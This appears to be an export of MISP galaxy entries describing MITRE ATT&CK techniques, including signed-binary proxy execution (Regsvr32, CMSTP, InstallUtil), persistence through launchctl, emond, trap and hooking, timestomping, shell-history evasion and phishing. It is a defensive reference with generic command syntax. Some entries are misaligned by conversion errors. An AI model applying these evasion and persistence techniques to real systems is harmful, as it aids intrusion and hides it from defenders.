Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.

Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036). (Citation: LOLBAS Main Site)

Masquerading may also include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections.

The tag is: `misp-galaxy:mitre-attack-pattern="Masquerading - T1036"`

### Table 5940. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1036">https://attack.mitre.org/techniques/T1036</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/">https://lolbas-project.github.io/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ItsReallyNick/status/1055321652777619457">https://twitter.com/ItsReallyNick/status/1055321652777619457</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/blog/how-hunt-masquerade-ball">https://www.elastic.co/blog/how-hunt-masquerade-ball</a></td>
</tr>
</tbody>
</table>

Scripting - T1064

This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.

Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.

Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than
software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.

Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Scripting - T1064"*

**Table 5941. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.metasploit.com">http://www.metasploit.com</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1064">https://attack.mitre.org/techniques/T1064</a></td>
</tr>
<tr>
<td><a href="https://github.com/mattifestation/PowerSploit">https://github.com/mattifestation/PowerSploit</a></td>
</tr>
<tr>
<td><a href="https://www.uperesia.com/analyzing-malicious-office-documents">https://www.uperesia.com/analyzing-malicious-office-documents</a></td>
</tr>
<tr>
<td><a href="https://www.veil-framework.com/framework/">https://www.veil-framework.com/framework/</a></td>
</tr>
</tbody>
</table>

**Phishing - T1660**

Adversaries may send malicious content to users in order to gain access to their mobile devices. All forms of phishing are electronically delivered social engineering. Adversaries can conduct both non-targeted phishing, such as in mass malware spam campaigns, as well as more targeted phishing tailored for a specific individual, company, or industry, known as “spearphishing”. Phishing often involves social engineering techniques, such as posing as a trusted source, as well as evasion techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages.

Mobile phishing may take various forms. For example, adversaries may send emails containing malicious attachments or links, typically to deliver and then execute malicious code on victim devices. Phishing may also be conducted via third-party services, like social media platforms.

Mobile devices are a particularly attractive target for adversaries executing phishing campaigns. Due to their smaller form factor than traditional desktop endpoints, users may not be able to notice minor differences between genuine and phishing websites. Further, mobile devices have additional sensors and radios that allow adversaries to execute phishing attempts over several different vectors, such as:

- **SMS messages**: Adversaries may send SMS messages (known as “smishing”) from compromised devices to potential targets to convince the target to, for example, install malware, navigate to a specific website, or enable certain insecure configurations on their device.
- **Quick Response (QR) Codes**: Adversaries may use QR codes (known as “quishing”) to redirect
users to a phishing website. For example, an adversary could replace a legitimate public QR Code with one that leads to a different destination, such as a phishing website. A malicious QR code could also be delivered via other means, such as SMS or email. In the latter case, an adversary could utilize a malicious QR code in an email to pivot from the user’s desktop computer to their mobile device.

- Phone Calls: Adversaries may call victims (known as “vishing”) to persuade them to perform an action, such as providing login credentials or navigating to a malicious website. This could also be used as a technique to perform the initial access on a mobile device, but then pivot to a computer/other network by having the victim perform an action on a desktop computer.

The tag is: `misp-galaxy:mitre-attack-pattern="Phishing - T1660"`

**Table 5942. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1660">https://attack.mitre.org/techniques/T1660</a></td>
</tr>
</tbody>
</table>

**Bootkit - T1067**

A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)

Adversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

**Master Boot Record**

The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)

**Volume Boot Record**

The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.

The tag is: `misp-galaxy:mitre-attack-pattern="Bootkit - T1067"`

**View relationships graph**

Bootkit - T1067 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003"` with estimative-language:likelihood-probability="almost-certain"
PowerShell - T1086

PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer.

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

Administrator permissions are required to use PowerShell to connect to remote systems.

A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)

PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell’s underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="PowerShell - T1086"

View relationships graph

PowerShell - T1086 has relationships with:


Table 5944. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.sixdub.net/?p=367">http://www.sixdub.net/?p=367</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1086">https://attack.mitre.org/techniques/T1086</a></td>
</tr>
</tbody>
</table>
Timestomp - T1099

Adversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)

The tag is: `misp-galaxy:mitre-attack-pattern="Timestomp - T1099"

View relationships graph

Timestomp - T1099 has relationships with:


Table 5945. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1099">https://attack.mitre.org/techniques/T1099</a></td>
</tr>
</tbody>
</table>

Regsvr32 - T1117

Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)

Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.

Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the
COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)

The tag is: *misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117"

View relationships graph

Regsvr32 - T1117 has relationships with:

- revoked-by: *misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

### Table 5946. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1117">https://attack.mitre.org/techniques/T1117</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/">https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/</a></td>
</tr>
<tr>
<td><a href="https://support.microsoft.com/en-us/kb/249873">https://support.microsoft.com/en-us/kb/249873</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html">https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html</a></td>
</tr>
</tbody>
</table>

### InstallUtil - T1118

InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: `<code>C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe</code>` and `<code>C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe</code>`. InstallUtil.exe is digitally signed by Microsoft.

Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute `<code>[System.ComponentModel.RunInstaller(true)]</code>`. (Citation: LOLBAS Installutil)

The tag is: *misp-galaxy:mitre-attack-pattern="InstallUtil - T1118"

View relationships graph

InstallUtil - T1118 has relationships with:
The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.

Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / "Squiblydoo", CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.

CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)

The tag is: `misp-galaxy:mitre-attack-pattern="CMSTP - T1191"`

View relationships graph

CMSTP - T1191 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="InstallUtil - T1218.004" with estimative-language:likelihood-probability="almost-certain"`

Table 5947. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1118">https://attack.mitre.org/techniques/T1118</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Installutil/">https://lolbas-project.github.io/lolbas/Binaries/Installutil/</a></td>
</tr>
</tbody>
</table>

Table 5948. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1191">https://attack.mitre.org/techniques/T1191</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)">https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)</a></td>
</tr>
</tbody>
</table>
Keychain - T1142

Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>/~Library/Keychains/</code>, <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.

To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user's logon credentials.

The tag is: misp-galaxy:mitre-attack-pattern="Keychain - T1142"

View relationships graph

Keychain - T1142 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Keychain - T1555.001" with estimative-language:likelihood-probability="almost-certain"

Table 5949. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way">http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1142">https://attack.mitre.org/techniques/T1142</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Keychain_(software)">https://en.wikipedia.org/wiki/Keychain_(software)</a></td>
<td></td>
</tr>
</tbody>
</table>

Launchctl - T1152

Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> — /Path/to/thing/to/execute "arg" "arg" "arg"</code>. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges.
Adversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.

The tag is: *misp-galaxy:mitre-attack-pattern="Launchctl - T1152"*

**View relationships graph**

Launchctl - T1152 has relationships with:

- revoked-by: *misp-galaxy:mitre-attack-pattern="Launchctl - T1569.001" with estimative-language:likelihood-probability="almost-certain"*

---

### Source - T1153

**This technique has been deprecated and should no longer be used.**

The `<code>source</code>` command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways `<code>source /path/to/filename \[arguments\]</code>` or `<code>source . /path/to/filename \[arguments\]</code>. **This technique has been deprecated and should no longer be used.** `<code>source /path/to/filename \[arguments\]</code>`. Take note of the space after the `"."`. Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell’s environment. (Citation: Source Manual)

Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.

The tag is: *misp-galaxy:mitre-attack-pattern="Source - T1153"*

---

### Trap - T1154

The `<code>trap</code>` command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like `<code>ctrl+c</code>` and `<code>ctrl+d</code>`. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap
commands are of the following format `<code>trap 'command list' signals</code>` where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)

The tag is: `misp-galaxy:mitre-attack-pattern="Trap - T1154"`

View relationships graph

Trap - T1154 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Trap - T1546.005"` with estimative-language:likelihood-probability="almost-certain"

Table 5952. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1154">https://attack.mitre.org/techniques/T1154</a></td>
</tr>
<tr>
<td><a href="https://bash.cyberciti.biz/guide/Trap_statement">https://bash.cyberciti.biz/guide/Trap_statement</a></td>
</tr>
<tr>
<td><a href="https://ss64.com/bash/trap.html">https://ss64.com/bash/trap.html</a></td>
</tr>
</tbody>
</table>

**HISTCONTROL - T1148**

The `<code>HISTCONTROL</code>` environment variable keeps track of what should be saved by the `<code>history</code>` command and eventually into the `<code>~/.bash_history</code>` file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". `<code>HISTCONTROL</code>` can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ls” will not be saved, but “ls” would be saved by history. `<code>HISTCONTROL</code>` does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.

The tag is: `misp-galaxy:mitre-attack-pattern="HISTCONTROL - T1148"`

View relationships graph

HISTCONTROL - T1148 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Impair Command History Logging - T1562.003"` with estimative-language:likelihood-probability="almost-certain"

Table 5953. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1148">https://attack.mitre.org/techniques/T1148</a></td>
</tr>
<tr>
<td><a href="https://capec.mitre.org/data/definitions/13.html">https://capec.mitre.org/data/definitions/13.html</a></td>
</tr>
</tbody>
</table>
**Defacement - T1491**

Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages.

The tag is: *misp-galaxy:mitre-attack-pattern="Defacement - T1491"

### Table 5954. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1491">attack.mitre.org/techniques/T1491</a></td>
</tr>
</tbody>
</table>

**AppleScript - T1155**

macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the `<code>osalang</code>` program. AppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.

Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via `<code>osascript /path/to/script</code>` or `<code>osascript -e "script here"</code>`.

The tag is: *misp-galaxy:mitre-attack-pattern="AppleScript - T1155"

### View relationships graph

AppleScript - T1155 has relationships with:


### Table 5955. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1155">attack.mitre.org/techniques/T1155</a></td>
</tr>
</tbody>
</table>
Geofencing - T1581

Adversaries may use a device’s geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions. (Citation: Lookout eSurv)

[Geofencing](https://attack.mitre.org/techniques/T1581) is accomplished by persuading the user to grant the application permission to access location services. The application can then collect, process, and exfiltrate the device’s location to perform location-based actions, such as ceasing malicious behavior or showing region-specific advertisements.

One method to accomplish [Geofencing](https://attack.mitre.org/techniques/T1581) on Android is to use the built-in Geofencing API to automatically trigger certain behaviors when the device enters or exits a specified radius around a geographical location. Similar to other [Geofencing](https://attack.mitre.org/techniques/T1581) methods, this requires that the user has granted the ACCESS_FINE_LOCATION and ACCESS_BACKGROUND_LOCATION permissions. The latter is only required if the application targets Android 10 (API level 29) or higher. However, Android 11 introduced additional permission controls that may restrict background location collection based on user permission choices at runtime. These additional controls include “Allow only while using the app”, which will effectively prohibit background location collection. (Citation: Android Geofencing API)

Similarly, on iOS, developers can use built-in APIs to setup and execute geofencing. Depending on the use case, the app will either need to call requestWhenInUseAuthorization() or requestAlwaysAuthorization(), depending on when access to the location services is required. Similar to Android, users also have the option to limit when the application can access the device’s location, including one-time use and only when the application is running in the foreground. (Citation: Apple Location Services)

[Geofencing](https://attack.mitre.org/techniques/T1581) can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. For example, location data could be used to limit malware spread and/or capabilities, which could also potentially evade application analysis environments (ex: malware analysis outside of the target geographic area). Other malicious usages could include showing language-specific [Input Prompt](https://attack.mitre.org/techniques/T1411) and/or advertisements.

The tag is: `misp-galaxy:mitre-attack-pattern="Geofencing - T1581"

View relationships graph

Geofencing - T1581 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Geofencing - T1627.001"` with estimative-language:likelihood-probability="almost-certain"

Table 5956. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1581">https://attack.mitre.org/techniques/T1581</a></td>
</tr>
</tbody>
</table>

2878
Emond - T1519

Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at `<code>/sbin/emond</code>` will load any rules from the `<code>/etc/emond.d/rules/</code>` directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path `<code>/private/var/db/emondClients</code>`, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at `<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>`.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)

Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.

The tag is: `misp-galaxy:mitre-attack-pattern="Emond - T1519"`

View relationships graph

Emond - T1519 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Emond - T1546.014"` with estimative-language:likelihood-probability="almost-certain"

---

**Table 5957. Table References**

**Links**

- http://www.magnusviri.com/Mac/what-is-emond.html
- https://attack.mitre.org/techniques/T1519
- https://www.sentinelone.com/blog/how-malware-persists-on-macos/
- https://www.xorrior.com/emond-persistence/
**Hooking - T1617**

Adversaries may utilize hooking to hide the presence of artifacts associated with their behaviors to evade detection. Hooking can be used to modify return values or data structures of system APIs and function calls. This process typically involves using 3rd party root frameworks, such as Xposed or Magisk, with either a system exploit or pre-existing root access. By including custom modules for root frameworks, adversaries can hook system APIs and alter the return value and/or system data structures to alter functionality/visibility of various aspects of the system.

The tag is: *misp-galaxy:mitre-attack-pattern=*"Hooking - T1617"

---

**Sudo - T1169**

The sudoers file, `<code>/etc/sudoers</code>`, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like `<code>user1 ALL=(ALL) NOPASSWD: ALL</code>` (Citation: OSX.Dok Malware).

Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.

The tag is: *misp-galaxy:mitre-attack-pattern=*"Sudo - T1169"

---

**Hooking - T1179**

Windows processes often leverage application programming interface (API) functions to perform
tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions.

Hooking involves redirecting calls to these functions and can be implemented via:

- **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)

- **Import address table (IAT) hooking**, which use modifications to a process's IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)

- **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)

Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.

Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)

Hooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)

The tag is: *misp-galaxy:mitre-attack-pattern="Hooking - T1179"

View relationships graph

Hooking - T1179 has relationships with:

- revoked-by: *misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004" with estimative-language:likelihood-probability="almost-certain"

**Table 5960. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.gmer.net/">http://www.gmer.net/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1179">https://attack.mitre.org/techniques/T1179</a></td>
</tr>
<tr>
<td><a href="https://github.com/jay/gethooks">https://github.com/jay/gethooks</a></td>
</tr>
<tr>
<td><a href="https://github.com/prekageo/winhook">https://github.com/prekageo/winhook</a></td>
</tr>
</tbody>
</table>
DNSCalc - T1324

This technique has been deprecated. Please use [DNS Calculation](https://attack.mitre.org/techniques/T1568/003).

DNS Calc is a technique in which the octets of an IP address are used to calculate the port for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda) (Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)

The tag is: misp-galaxy:mitre-attack-pattern="DNSCalc - T1324"

Table 5961. Table References

Links

https://attack.mitre.org/techniques/T1324
https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/

Masquerading - T1655

Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name, location, or appearance of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.

Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1655)

The tag is: misp-galaxy:mitre-attack-pattern="Masquerading - T1655"
Impersonation - T1656

Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary's ultimate goals, possibly against multiple victims.

In many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims — deceiving them into sending money or divulging information that ultimately enables [Financial Theft](https://attack.mitre.org/techniques/T1657).

Adversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as payment, request, or urgent to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary's goal.

Impersonation is typically preceded by reconnaissance techniques such as [Gather Victim Identity Information](https://attack.mitre.org/techniques/T1589) and [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591) as well as acquiring infrastructure such as email domains (i.e. [Domains](https://attack.mitre.org/techniques/T1583/001)) to substantiate their false identity.(Citation: CrowdStrike-BEC)

There is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) targeting one organization which can then be used to support impersonation against other entities.(Citation: VEC)

The tag is: `misp-galaxy:mitre-attack-pattern="Impersonation - T1656"`
Phishing - T1566

Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.

